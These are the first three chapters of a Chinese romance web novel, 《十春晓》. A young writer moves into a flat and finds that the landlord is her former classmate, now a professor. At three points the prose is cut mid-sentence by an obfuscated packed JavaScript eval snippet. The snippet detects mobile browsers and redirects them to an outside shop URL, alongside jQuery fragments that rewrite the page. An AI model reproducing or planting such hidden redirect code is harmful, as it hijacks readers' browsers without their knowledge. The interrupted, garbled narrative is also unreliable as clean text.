《十春晓》 1. 第 1 章 01 三月底宜市下了一场春雨,丝丝绵绵连着下了一周。阴云环绕,像一团抹不匀的颜料盖在头顶,潮得被子都快要发霉。 傍晚时分,居民区亮起了一盏盏橘色的照明灯,出租屋内夏听雨正在收拾搬家的行李。 她跪坐在地板上,一件一件地往行李袋里装衣服。 床和衣柜间狭窄的通道间大包小包堆满了打包好的蛇皮袋,整理完手上的袋子拉上拉链,熟练地自旁边扯来空袋子准备打开,手机铃声响了起来。 房间里太乱,她翻了好几件衣服才从底下刨到手机,扫了眼通话邀请,接通后丢到床上。 “喂。” 电话另一头是年初刚步入婚姻的好闺蜜乔曦,见她没有出现在镜头里,疑惑道:“在干嘛呢?” 夏听雨重新拿起手机,踢了踢脚边的垃圾回道:“收拾东西啊,不是跟你说过嘛明天搬家。” “你不是前两天就在收拾了,还没弄完?”乔曦不解:“我看你总共也没几件衣服啊。” “请不要对一个女孩子说没什么衣服这句话,况且我又不是没有别的家当。”夏听雨掉转镜头,给她看床尾支起的小书桌。 拼多多淘来的劣质塑料桌被它所不能承受的满当小说和各类周边压得塌了半边。 “这些可都是我的宝贝。”想起上周刚收到的快递,夏听雨放下手上的活跨步迈过去,从二层架子上翻出一本类似专辑的书籍,“酱酱酱!给你看看我新收的宝贝!” “什么玩意,海报还是签名?” “我男神出道十周年的手写信,收了好久才收到的。”夏听雨打开信封展开给她扫一眼,又小心翼翼收回去。 乔曦问:“花了多少?” 夏听雨抬手做了个手势。 “你疯了?接下来几天是不打算活了?”乔曦顿时瞪眼,“还有钱吃饭吗?” “没有。” 夏听雨诚实地摇头,却一点儿也不慌。她一早给自己准备好了后路,夹着手机出卧室到厨房:“所以我打算过两天去路边要饭。” 拿起磕破出缺口的陶瓷碗:“喏,道具我都准备好了。” “……” 乔曦忍不住翻了个白眼,不想再和她继续讨论遇到好心人的概率,转移话题:“你猜我今天去婚礼上碰到谁了?” 夏听雨拿了听雪碧回房:“谁啊?” “赵婧娆。” “那是谁?” “我们班班花啊。你忘了?瘦得跟竹竿一样,说话能夹出花儿那个。” 夏听雨手机立放在桌前,抽了张纸擦着边缘,还是茫然:“你们班有过班花?” 她丝毫没印象,却不影响她听后续,“然后呢,她怎么了?” “结婚了,娃儿都上小学了。” “咱们这个年纪结婚有小孩不是很正常?这有什么好惊讶的,”夏听雨不理解有什么值得单独提一嘴,“再过两年你家崽估计也可以打酱油了。” “暂时没这个计划哈。”乔曦呿一声,继续说,“我惊讶的点不是她结婚,而是你知道她嫁给谁了吗?你绝对猜不到。” “听你这么讲我还挺好奇的,我认识吗?” “认识。”乔曦说,“往你最不敢想的方向去猜。” 夏听雨闻言深思几秒,放弃了:“私密马赛,瓦达西实在想不出,你直接揭晓答案吧。” 乔曦也不吊她,神神秘秘吐了个名字,是高中时年级上出了名的混球。 夏听雨啊:“不是吧。” 乔曦嗯哼:“难以置信吧。我给你说我当时知道她老公时的反应跟你现在一模一样。”叹气惋惜,“说真的,我一直以为她会和学神在一起。” “学神?” 许久没听过的称谓令夏听雨恍惚了一瞬,她喝了口汽水,歪头回忆,“陆南川吗?” “你竟然还记得他。”乔曦耶了声意外道。 “他名字好听啊。”夏听雨用干净的指节剐蹭着下颌疏解痒意,“而且你不觉得他的眼睛很好看吗?雾朦朦的,远看像浮着一层薄雾,尤其是睫毛,长得跟假的一样。简直就是我偶像的同款。” “后面一句才是真相吧。” 乔曦继续刚才的话题:“虽然我不喜欢赵婧娆,但有一说一美女还是跟帅哥在一起养眼些。我记得高中那会儿他们两可没少传绯闻,我听浩哥说高考前赵婧娆还去找陆南川表白了。” 她的话拨动了夏听雨的记忆:“你这么一说我想起来了,我好像还当过他们的红娘。” 乔曦啊:“什么时候?怎么都没听你讲过。” “也是毕业那段时间。”夏听雨仰头回忆,“拍完毕业照后吧,我以为我跟你讲过。” “你跟鬼讲的。”乔曦无语,又疑惑,“不过她的情书为什么不自己给,反而让你送呢?” 事情过去太久夏听雨也记不太清了,她低啜着汽水,也不懂,“可能害羞吧。” * 隔天一早,夏听雨还在睡觉就接到了搬家公司的电话。 她还以为是到预约时间睡过头了,结果是和她商量预定时间能不能提前到三点的,左右今天也什么事便同意了。 挂了电话看时间还早,夏听雨又睡了半小时才起来点外卖,吃完后卡在搬家公司上门前快速把最后一点行李收完。 新家和现在的小区在不同区,开车过去也要四十来分钟。 夏听雨坐在副驾驶上,跟乔曦聊天的同时回复之前的合租室友她已经搬家了,问她们什么时候回来一起把卫生做了退租。 车辆缓缓行驶,夏听雨抬了下头,头顶厚重的云层散开漏出一两点蓝色,不一会儿便蔓延开来有了出晴的征兆。 群里提议后天打扫,她回了个“ok”的手势表情。 商议好时间,夏听雨听乔曦讲她高中同学的八卦到了地方。 上次来看房时夏听雨走的地面上,没有留意过布局,对这边又不太熟悉导致差点在地下停车场迷路,幸好遇到了有住户出门才找到准确电梯。 东西不多不到二十分钟就搬完了,送走搬家人员夏听雨也不急着收拾,而是踮着脚左看看又逛逛地欣赏起新窝。 她站在偌大的落地窗前,俯视着外头的小区绿化,再次感谢姐妹的强大人脉让她捡了这么个大便宜。 两个星期前,她原先住的合租屋老板突然发微信过来,说家里孩子准备结婚了需要卖掉旧房,通知她们三个提前结束租约。 她们在那个房子也住了快两年了,跟房东也没什么矛盾,双方商议过后也没纠结违约金的问题多要了一周时间找新房就聊妥了。 另外两个室友都有男朋友,没三天便相继搬了出去,只有夏听雨每天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165632|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡在租房软件和小红书找了好几天的房,不是房租太高就是合租套间像旅馆、安全毫无保障,一个合适的都没有。 她想过找同在宜市的朋友先暂住一段时间慢慢找房,但后来考虑到距离只好作罢。谁料山重水复疑无路刚跟乔曦吐槽要流露街头睡桥洞了,第二天她就推了个名片过来让她添加。说她高中同学在宜市有套房空着可以借给她过渡,也不用给钱。 夏听雨自然没那么厚的脸皮,添加房主人微信看过房子后,一番太极之后以每月八百的骨折价租了半年。 想到都搬进来了,夏听雨还是拿出手机给房东发了消息。 XIA:【我搬过来了哦】 过了十分钟左右,新房东回复了。 L:【好】 夏听雨礼貌地又回了个笑脸,随后跟好闺蜜也知会了声便开始撸袖子洗帕子干活,忙碌到快六点了才勉强整理完。累得腰酸背僵手抽筋,一头倒在刚铺好的床上休息。 太阳不知道什么时候出来的,余晖映在玻璃上折射出朦胧的橙晕,微风拂动,空气中弥漫着一股股美味的炒菜香。 夏听雨口和胃都被勾得咕咕抗议,她再也抵不住肚皮的抗议坐起来把外卖点了。 吃过饭把最后一点尾巴整理完毕,早早洗了澡上床。 长时间以来的作息混乱,让她即使忙了一天也没法在零点前睡着,尤其晚上九点还喝了杯奶茶,导致都两点过了依旧精神抖擞、只能靠电影熬夜。 她看得的是自家偶像客串的一部都市悬疑。 电影以当今社会最为关注的独居女性安全为噱头,除了音效不错,剧情是真的很垃圾。女主角被黑帽衫口罩男尾随时诡异的背景音响起,不清楚是不是错觉她好像听到了门开又关上的声音。 夏听雨狐疑地暂停进度,摘下耳机侧耳留心客厅,等了会儿没有听到什么动静后重新戴回耳机继续播放,岂料才过了几分钟又隐约听到了水声。 接二连三的错觉让夏听雨心里不由发起毛来,她再度暂停电影,环视了一圈房间拿上勉强可以充当武器的台灯握在手心大着胆子打开房门,循声来到洗浴间。 清晰的水流声如催命符哗哗传入耳朵,浴室的灯亮着,透过磨砂的玻璃门可以看到里面晃动的影子。 夏听雨僵滞在原地,大脑一片空白。 独居女性遇害的社会新闻和几分钟前电影女主被蹲在房间里的罪犯捂嘴拖远的片段不断交织、替换着冲击神经,心脏猛烈敲击着胸膛,声音大到足够令人失聪。 她掐手心唤醒理智,缩回身子摸手机报警,平日里灵敏的指纹锁此刻却半天解不开,她强迫自己冷静下来,手输密码,艰难地按出报警电话。过度慌乱下并没有留意到逐渐转小的水声和开门。 几秒的等待被延长放慢了亿万倍速。 快接啊,求求了! 她咬唇不断祈祷。 嘟—— 电话接通了,夏听雨来不接高兴,一只手搭上了她的肩,与之伴随的还有清冷的询问。 “你在干什么?” 夏听雨定住,一股凉意从脊椎窜上脑袋。 她机械地缓缓抬起头,幕的撞进了一双眼熟又陌生的凤眸里,眼型狭长,眼尾平缓上延,浓密睫毛松针似的盖住双眸,漆亮如墨。 那是看惯了的、和她偶像一样的漂亮眼。 2. 第 2 章 02 夏听雨仰着头呆呆望着,借着身后房间和浴室露出的光线移动到他脸上。 很干净的一张脸,轮廓线条干净到一丝多余的线条都没有,五官精致立体。薄唇淡色,鼻梁高翘连着明显的眉骨,双眼皮细长,眼尾向下,略宽于眉间的眼距中和掉面部留白带来的冷淡。 无论皮相亦或骨相都万里难出其右的存在。 夏听雨空白的思绪在看清他的长相时像滴落水面的涟漪渐渐扩散,意识回归。 她惊愕地瞪大了眼,不可思议地张了张嘴,声音还有发颤:“……陆南川?” 微弱的光线里陆南川双眸轻闪,几秒沉默后他出声:“嗯。” 真的是他! 夏听雨狠松了口气,提起的心也落回原处,诧异他怎么会在这里,刚想问,电话那头的接线人员因为没有得到回应再度发出追问。 “喂,听得到吗?您那边遇到困难了吗?” 两人的视线不约而同落在通话的手机上。 陆南川大概明白是什么情况,往后退了几步留出一段安全的距离,轻声让她先处理。 夏听雨尴尬地挠了挠下颌,低说老师声抱歉,钻回房间处理这则意外。 接警情的是位女性,夏听雨向她道歉后讲清楚了报警前后和现在的情况,对方了解是乌龙过后没怪她反过来夸她有警惕性。 挂断电话收了线,夏听雨刚舒了口气想到外面还有个需要解决的问题深深吸了口气,才再度打开门。 客厅的灯已经打开了,亮堂堂的,他人却没在,房间门倒是关着。夏听雨猜测着他应该是回房去换衣服了,正纠结中要不要先回屋待会儿再出来还是坐客厅等。就见他从隔壁卧室出来。 一套灰白的休闲装,身形修长,脖子上挂着刚擦完头的毛巾,示意她去沙发坐,“电话打完了?” 夏听雨撤回当乌龟的想法,啊得点了点头。望着他接水的背影,想为刚才的事件解释一下,一时间又不知道该从哪里开口。 陆南川端两个水杯,其中一只放她面前,在独椅坐下:“刚刚有伤到吗?” “没有没有!”端起的水杯又放下,夏听雨连连摆手,问他,“你怎么也在?” 陆南川说:“这是我的房子。” “嗯?”夏听雨惊讶,“你是房东?” 陆南川抬眼:“你给我发消息说过两天,我以为要下周才会搬过来。” “今天回来得晚,去学校不太方便想着过来住一夜,不知道你在。”他解释说,“抱歉,吓到你了。” “没有没有,怪我。是我搬过来忘记给你讲了。”夏听雨惶恐道,“还要谢谢你收留呢哈哈。” 陆南川视线移到她身上。 即使已经三月底,受倒春寒的影响宜市近日气温急降,早晚温差异常明显。她穿着冬款毛绒睡衣,白色的长袖长裤、袖子和领口收边都是粉色,中间绣着一只硕憨态可掬的派大星,吹鼓着脸颊,手指扣着下颌,没什么心眼的样子跟记忆里并无二致。 陆南川不由定了两秒,敛下多余的情绪,收回视线说道:“总之今天很抱歉。既然你已经住进来了,明天之后我不会再过来的。” “门锁密码你找个时间改个新的。” 问她会不会改密码,夏听雨捧起杯子喝了口,抬头回“会”。 时间也不早了,陆南川看了看时间,起身说:“那我先去睡了,早点休息。” 夏听雨嗯嗯点头:“晚安啊。” 陆南川脚步顿下,握着杯子手指紧了紧,视线落在她的脸上,嗯:“晚安。” 回到卧室,夏听雨越想越不可思议,也不管乔曦此时能不能看到,自顾自地发了一条表达她震惊万分的微信。 【你怎么不告诉我房东是陆南川啊啊啊啊!!!!】 【我差点疯了!】 后面还添加了一个捂着脸颊,灵魂在飘荡的表情包。 很显然,凌晨两点过并没有人回她。 夏听雨也没指望能收到回复,囫囵吞枣地把电影看完,百无聊赖躺了许久爬再度摸过手机爬上微博发了条动态。 @二十五画:半夜好[黑眼圈] 周末的缘故,她那上个月才突破四位数微博粉丝里竟然好几个夜猫子,动态刚发出去两分钟就有了评论。 “25大大晚上好,还没睡呢。” “老婆什么时候开朝夕?收藏好久了[期待期待]” “25你个鸽子,都休息一个月了快开坑” “大大《她笑时风甜》怎么不出实体啊,我超级喜欢” 夏听雨扫过前面几条评论,看到最后一条时大半夜的凭空被扎了一刀,破防了。 她“哭”着回复:“实不相瞒我也想出,但没有出版社看得上” 她没好意思说之前自投过几次都被拒绝了。 夏听雨很惭愧,写作五年她依旧只是个勉强混在温饱线上的小扑街。 大学毕业那会儿她在一家家电公司上班,工资不高也没有朝九晚五还单双休,但也勉强混口饭。后来她直属上司离职换了个尖嘴猴腮只知道耍官威的神经病,她深受其害之后忍无可忍,果断提离职走人了。 原本计划休息一段时间再重新找工作,于是失业的日子里整天躺在家里补偶像近半年的作品。 在补某补作品原著的过程中她猛然想起大学时灵机一动想为偶像添砖加瓦而注册的账号,便将它捡了起来,抱着试试的态度从兴趣干成了全职。 夏听雨掰手指头数了数从业年岁,不禁为自己的没出息汗颜。 她痛定思痛逼着自己给出具体的开文日期——下周,发完想起的文档里的零存稿又后悔地删掉了,前后时差绝对不会超过一分钟。 却依旧被基友芥末菜精准截屏,并顺着网线递来了总数为800的拼字邀请。 夏听雨拒绝。 芥末菜再邀:【来啊】 夏听雨拿过平板,打了个大写的“NO”以示坚决:【不来】 芥末菜:【25大大,请容许我提醒你,你上本书完结已经一个月,你难道忘了你还有群嗷嗷待哺的读者和单机码字的寂寞基友了吗?】 她丢出截图:【你忍心让她们空欢喜吗!】 又一张讨论实体书的对话,打鸡血激励:【新的风暴已经出现,怎么能够停滞不前!】 芥末菜:【来吧,打开你的电脑敲夏第一个字从现在开始日更一万】 夏听雨:【……】 本来都燃起来了,看到日更一万瞬间清醒了,她叉掉因为上头而打开的文档,慢吞吞打开视频软件敷衍说:【好的,你先请,我先去酝酿酝酿动力】 芥末菜:【什么动力?】 夏听雨打开偶像常驻的综艺,理直气壮回答:【赚钱去线下的动力】 追了一晚上综艺,天边漏出几点熹微夏听雨才收起平板。 一觉睡到下午四点,余晖透过阳台的落地窗浅浅地斜照在客厅的地板上,浮光掠壁。 她刷着牙站在阳台,遗憾于没有躺椅不能晒太阳,打定注意回头去网上买个充气沙发。 洗漱完抽过充电完毕的手机解锁消息,陆南川给她留过消息。 L:【早上有课先走了,房子有什么问题可以随时给我发消息】 隔了三分钟,又发了一条。 L:【密码记得改】 夏听雨挑了个点头的emoji回复:【好勒】 回完转去听乔曦给她回的语音。 她估计是在等红绿灯时候回的,背景略显嘈杂,尤其电瓶车此起彼伏的滴滴滴。 “什么?你房东竟然是陆南川嘛!哎呦我的天啊。房子是我老公找的,我都不晓得。” 多年闺蜜要是从这浮夸的口音里听不出她的胡扯,夏听雨可以去申领一个“最佳塑料姐妹”奖了。 她拆穿道:“少来,微信都是你推的,你能不知道他是谁就有鬼了。” 简明扼要地描述了昨晚的乌龙,夏听雨还是想死,“你是不知道有多尴尬,他当时还裹着浴巾呢,幸亏系得紧,要是滑下来了你说说多社死。” 乔曦听完快笑疯了,一条十几秒的语音点开全是她的咯咯咯咯咯。 夏听雨要翻脸了,“再笑我生气了。” 乔曦弹来语音通话,夏听雨接通,听她说道:“好吧,我承认我确实知道房子是陆南川的,那我不是也怕你万一找不到合适的又找合租的遇到乱七八糟的人。”她收住笑声,“别的不说,我们陆学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165633|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神人品还是很不错的。” “而且你们两都单身,说不定在一起住久了能擦出火花呢。” “?” 夏听雨不想听这个,无语地打断她的话说要去吃饭了,结束前她残忍地呵呵打破闺蜜的幻想,“哦对了。他不住这边,擦不了一点哈。” * 陆南川从实验室指导完课题出来,换了衣服回到办公室,拿出手机看了眼,微信里除了一些工作内容和学生咨询外并无其他。 手指划到顶着漫画头的头像,点开。 早上八点他发了消息到现在,快九个小时了她都没回过消息。 陆南川蹙了下眉,退出来回复完其余消息后将手机锁屏放置一侧,打开电脑处理邮件,可直至作业都批一半了,漫画头像依旧安静。 下节选修课的教学课堂在另外一栋楼,距离化院不短需要提前过去,陆南川只好收起多余的心思收拾。 前往教学楼途中遇到了去同一楼上课的男老师,两人互相打了招呼问好。 “听说你最近要搬回教师宿舍?” 陆南川嗯:“暂时住一段时间。” “你家不就在附近还用得着住宿舍,咱学校那个宿舍条件都差成啥样了你又不是不清楚,怎么想不开来受罪。” 口袋里响起震动,陆南川掏出随意瞥了眼,目光一定。 男老师没得到回应,诧异扭头,见他盯着手机不说话,喊了声:“陆教授?” 陆南川回神,视线依旧停在屏幕上,语气平淡,“实验比较赶,住学校节约时间。” 男老师一脸的难以置信。 陆南川心思都在微信上,没理会他的反应,敲出键盘,指尖在上面敲敲打打半程最后还是删了干净。 * 受陆南川的提醒,夏听雨在外面吃完饭回来就改了密码。而随着新家住址的尘埃落地,她清闲的日子也到了头,每天被基友芥末菜拉去拼字小黑屋菜鸡互啄准备新书存稿。 晚上终于完成任务从小黑屋出来,夏听雨想到明天下午有事不忘通知基友把约改到晚上。 芥末菜:【你明天有事?】 夏听雨:【接了个兼职,帮大学生上课答到】 作为一位扑街是常态的不知名作者,尤其还是个追星的作者。光靠稿费夏听雨自然维持不了生活,因此大部分时间她会接点简单又不费力的兼职添补家用。 隔天,夏听雨按时到了宜大。 她熟门熟路地找到上课的教室选了处没人的角落坐下,给单主发确认照片。 单主是宜大大二的学生,下午这节课上完这周都没课了,因为要和朋友去周边市区旅游想翘课又怕被点到扣分才找了她来代课,看到照片后爽快地转了费用。 夏听雨环顾了周围一圈,无聊地翻出手机随机找人唠嗑,上课铃声打响才舍得抬头看一眼。 几个踩点的学生相继跑进来,陆南川提着公文包进来示意后面几个快点,走上讲台时不经意往下面扫了一圈,瞥到角落里的女生,目光一顿,眼中划过意外。 夏听雨也没料到会在这里碰到他,冲他笑了笑,随即埋下脑袋当透明人。 陆南川抿了下嘴角,收回视线开多媒体准备上课。 一节课安然过半,她以为不会又什么问题时,随机抽点了。 夏听雨顿时聚精会神,放下手机心里默念阿弥陀佛不要抽到她金主,就听到他念道—— “张薇。” “……” 夏听雨懵了,张薇正是她代的学生名字。 “张薇。” “……” 阶梯教室里无人响应,陆南川移至台侧念了名字加学号又念了一遍,手指敲敲桌面,“没来吗?没来记旷课了。” “?!” 夏听雨猛得抬头,也顾不上暴不暴露了赶紧举手应到,“老、老师,这儿。” 陆南川放下花名册,手撑着台面,“张薇?” 教室里的视线都聚了过来,夏听雨感觉自己都快被盯出一个巨大窟窿了,她暗暗给自己大气,指尖刮刮下颌,硬着头皮答是。 陆南川看着夏听雨浅浅挑了下眉,片刻后他合上名册语气听不出喜怒。 “下了课来躺办公室。” 3. 第 3 章 03 下了课,夏听雨在一众同情的目光里愁眉耷目地走出阶梯教室,慢吞吞追上走廊上明显等她而尚未走远的陆南川。 他轻倚着围栏,穿得很休闲,上身白色针织衫下烟灰色长裤,要不是手上提着教师公文包说句大学生也不违和。 夏听雨挎着小包挪至他面前,扯出一个笑容试图蒙混过关:“好巧哦,竟然会在这里碰到你。” 陆南川同样回了个笑:“不巧,我是这里的老师。” 距离下课有几分钟了,楼道里的学生走得差不多了,楼梯间也不再拥挤。 陆南川迈步下楼。 夏听雨跟上,硬着头皮继续话题:“我听曦曦说你之前就出国读书了,什么时候回来的啊?” 陆南川下楼梯的脚步停住,侧目哦:“你们经常提起我?” “当然啊。你可是我们春城一中最拿的出手的谈资、唯一真神!” 见他对这个话题感兴趣,夏听雨找准马屁股疯狂拍打恭维,“不光我们几个,学校的老师到现在都还以你为正面形象激励学弟学妹好好学习天天向上呢。” 事实的情况是提起他的名字都好几年前了。 那时大学还没毕业,有回年前她和乔曦聚完餐心血来潮回高中去晃,被保安拦着不让进,正准备走就碰上了乔曦他们班的班主任。 可能也是太久没见了,也或许是班主任年岁大了等来年六月送完那届考生要退休了,进去后便拉着她们俩一面聊扯现在的学生怎样难带一面回忆,自然免不了会提到她的得意门生陆南川。 “经常嘛。” 陆南川眸光一动,轻声说道。 “对啊,难不成我还能骗你。跟你说……”夏听雨捕到他弯起的唇角,更加卖力地夸他,希望用糖衣炮弹稀释他对课堂上的那段张冠李戴的替代记忆。 夏天临近,倒春寒过后气温逐渐转暖,天气一天比一天晴朗。两人并肩同行,明媚的阳光洒在走廊上、风和日暖。 陆南川不是没看出她的意图,任由她东拉西扯闲摆,脚下却不动神色地领着她往办公室走,等夏听雨察觉时他们已经到他办公室额门口了。 她难以置信地瞪着陆南川。 不是大哥,你咋这样啊。 陆南川从容地开门进入,见她还在原地,叫人:“愣着干嘛,要我请你进来吗张薇同学。” 他咬字清晰,平仄都很明显,在口音偏重的南方人里算是不多见的。听着刻意咬重的“张薇”两个字,夏听雨却只想哭,像大圣翻了几百个筋斗云以为走出了如来佛的五指山,实则不过是掩耳盗铃的自欺欺人。 拿人钱财替人消灾,收了钱就不该让单主扣分。 夏听雨在脑子里给自己灌输了一遍接单宗旨,调整好状态,扯扯脸颊的软肉,拉开椅子坐在他对面。 陆南川指尖摩挲花名册脊侧,抬眼问:“什么时候改的名啊?” “我可以解释的。”夏听雨挤出一个苦命的笑说道。 “你说。”他双手交叉放在桌上。 “……” 夏听雨一噎,被他盯得紧张,她抿抿嘴巴眼珠看向别处:“如果我说我是今天下午刚改的名——”对上他没什么情绪的眼神立马正色,“别说你不信,我自己也没脸讲。” “其实是这样的,张薇是我三姑的二婆的表舅的婶婶的表姐的妹妹家的女儿。因为表姑婆想她了,小朋友比较孝顺嘛就连夜买了张票去看望她。但是临放假又还有一节课怕被点到,这不刚好知道我住在附近就拜托我来替个到了。” 她语速极快地一口气说完,不知道他信没有,眨眼问:“我这么说你能明白吗?” 陆南川没被绕住,并不认可这个理由:“有事可以请假,这样私自离校出了问题不管是我还是学校都没办法交代的。” 夏听雨眼珠子转一圈,嗯嗯答道:“她也是太急了忘了。”视线落在花名册上,小心翼翼打着商量,“所以看在咱们是校友的份上,能不能就不要扣分了?” 陆南川没说话。 夏听雨咬着唇瓣,巴巴望着他:“拜托了,就这一次。” 陆南川叹了口气,松口道:“下不为例。” 夏听雨展颜:“一定。” 出教学楼时太阳已沉入地平线下,暮色晕了妆,天边镶着橘色腮红,校园里的路灯也都亮了起来。 晚间起了风,夏听雨穿得比较单薄,骤然被冷得打了抖。 陆南川余光落在她单薄的穿着上。 一件白色打底衫外套浅灰色无袖毛马甲,下半身更是只穿条短裙。他不由往她身边靠了靠挡住风口,随口问道:“待会儿怎么回去?” 夏听雨在微信上给单主发小作文通气,听到询问头也不抬哦道:“我坐地铁。” 陆南川抬腕看了看表,手揣进大衣外套说:“走吧,我送你回去。” 嗯? 夏听雨从手机上抬首,甩手哎呀:“不用这么麻烦,送我过去后又回来多浪费油钱啊,离得又不远。” 陆南川摸到车钥匙,拇指绕着钥匙圈打了两转,偏过眼欲言又止。 夏听雨眨眼:“怎么了?” 陆南川抬脚往停车场走,说:“我后天去外地参加个研讨会,需要回家换套衣服。” 夏听雨:“……” 私密马赛,是她自作多情了。 夏听雨脸“嘭”一下炸得通红,她扣扣下颌尴尬地干笑道:“这、这样啊,那叨扰了。” 工作日的晚间交通还算顺畅,除了倒霉地总撞上变红灯以及礼让了几个横穿马路的行人外倒是没耽误什么时间。 下了车,夏听雨手机刚好收到驿站的送达消息,两人转头去取了快递。 在回小区途中,前面几个小学生正围着一颗行道树叽叽喳喳地激烈讨论着什么,还边仰头,不知道在干嘛。 夏听雨放慢脚步好奇心使然抬头去看,发现枝叶交错的枝头,一只粉色小猪猪气球被树干拦在中间,尾部拉绳长长随风飘荡。 她忍不住倒走回来,半斜着身子扭头问沮丧的几个小萝卜头:“需要帮忙吗?” 几个小孩回头见是个姐姐,上下打量了她一番问道:“姐姐你会爬树吗?” “不会。” “那你帮不了我们,快走吧。” 夏听雨靠近几步,侧身露出背后的陆南川朝他们抬抬下巴,“我是不行,但我有外援。”朝后面招手,“陆南川,能不能帮个忙呀?” 陆南川自然听到了对话,他视线从树梢上摇摇晃晃的气球上挪回她脸上,拒绝说:“不能。” “啊?”夏听雨一怔,“为什么?” 陆南川抱歉地耸肩:“我也不会爬树。” 夏听雨:“……” 夜晚的风声微末,树叶飒飒耳语。 夏听雨一脸古怪:“我没说要你爬树啊。”她指着头顶的气球,“你弄得下来吗?” 陆南川再次抱歉:“显然不太能。” 小朋友们齐齐发出失落声。 夏听雨眯眼抬手用手指目测了下距离,又对比过陆南川的身高手臂,一通心念默算,得出确实不太行的总结。 她跟几个小孩站在一起,仰头望着气球,被风打落的树叶砸中额头,低咒一声有了办法。 “等我会儿啊。”她将快递放在地上,在几人不明的目光里把马甲外套脱下来递给陆南川。 他不明所以:“做什么?” 夏听雨把马甲塞他手里,讲解道:“你小时候打过鸟没有?没打过也没关系,你就把我衣服当做小石头扔上去把上面的气球打下来。” 陆南川:“?” 夏听雨往后目测距离,鼓励道:“飘得不是很高,你应该可以。” 旁边几个小孩也认同的附和。 陆南川垂眸,马甲是羊绒制品,被胡乱卷成团也并没有什么重量,粗糙的手感像羽毛绒朵挠着手掌,只剩下一股隔靴搔痒的异样。 夏听雨见他一直盯着手中,以为是觉得她的办法不行,宽慰道:“打不下来没关系,你不要有压力我们先试试。” 陆南川浅色的瞳孔微动,侧眸扫她,将衣服还给她:“你这件不行,太轻了甩不高。” “啊?” 夏听雨一顿,就见他右手捏着左手袖口将外套脱下来,绕着手臂缠了两圈裹成球状,握着找了个适合的位置,没等其他人反应扬手就扔了上去。 没中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165634|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 连续又试验了梁两次,也都没击中。 衣服没有束缚,在空中散开了,袖子擦过气球的猪鼻子,夏听雨和几个小孩惋惜地跺脚哎呀。 陆南川接住外套,瞥过眼她双手握拳给他加油,扯了扯唇角。 “夏听雨。”他偏头,外套在他手中再度缠绕成球,“你觉得我这次能打中吗?” 夏听雨猜不行,但依旧笑说:“可以!” 边上几个小孩也很有眼色,齐声给予肯定。 陆南川提起眉梢,左右抛着球衣笑道:“都这么看好我,不成功感觉很丢脸啊。” 他起手,手中衣物再度抛出,一声几不可闻闷响后,深色长衣外套砰得展开完美盖住了气球将它裹住打了下来。 惊呼同步爆发,陆南川靠着身高优势一把拽住气球线递给夏听雨。 夏听雨莫名:“给我干嘛?给他们啊。” “自己还。”陆南川说,“我帮的是你的忙,没有物归原主的义务。” “……行吧。” 夏听雨只得接过来充当一回“中介”,送走了千恩万谢的小朋友才走回捡回外套的陆南川身边,一同往小区走。 “刚刚谢谢啊,要是不急着走的话,衣服一会儿上楼用洗衣机洗洗吧,干得很快的。” 陆南川将外套对折提在手上,说好。 上楼到了家门口,夏听雨按密码开门,在他去房间收拾时主动揽过帮清洗的活将他的衣服丢去了洗衣机,盘腿坐沙发上看外卖。 咔哒一声门开。 夏听雨抬眼说道:“衣服给你洗了,还在脱干,需要再等会儿。” 陆南川嗯,走至另一边的独椅上坐下,随口问:“你吃饭了吗?” “在看呢,不知道点什么。”夏听雨浏览着商家页面,“你有没有什么好的推荐?” 陆南川说:“我不太点外卖。” “好吧。” 夏听雨撇撇嘴,继续翻找店铺,划拉了许久最后点了份曹氏鸭脖加碗米饭,又点了杯咖啡,临末结算了才想起来家里还有人,礼节性地补问:“你应该也还没吃吧?” 陆南川心下一哂,回道:“我待会儿有个约,你点自己的不用管我。” 也是巧,话音落下电话就响了,他瞥了眼来电显示,眉心皱了下,起身去阳台接听。 “喂。” “喂什么喂!不是叫你六点过来吃饭吗,这都几点了人呢?需要我开车亲自去你家接你吗我的陆大少爷!” 电话一接通,姐姐陆南星的愤怒便似机关枪突突突地砸过来。 陆南川早有先见之明把电话拉远,等她说完才贴回耳边:“我也没让你等我。” “臭小子,你说什么!你再给我说一遍!” 陆南川感觉耳朵都要被吼坏了,无奈重新说道:“我说马上来。” “你最好是。”陆南星哼,“给你半小时,半小时我还看不到你人后果自负!” 陆南川敷衍地应着,余光扫到夏听雨提着衣架过来往边上挪了下位置,看着她抻理衣服晾晒的侧脸黑眸微动,一个念头在脑中成型。 他嗯嗯,换了个口吻面不改色地对电话说道:“我知道这么短的时间找套合适的确实很为难,还是麻烦你再帮忙找找,租金不是问题。” “好,谢谢。” 说完不给陆南星开口的机会利落挂了通话,腾出手帮她一起晾衣服。 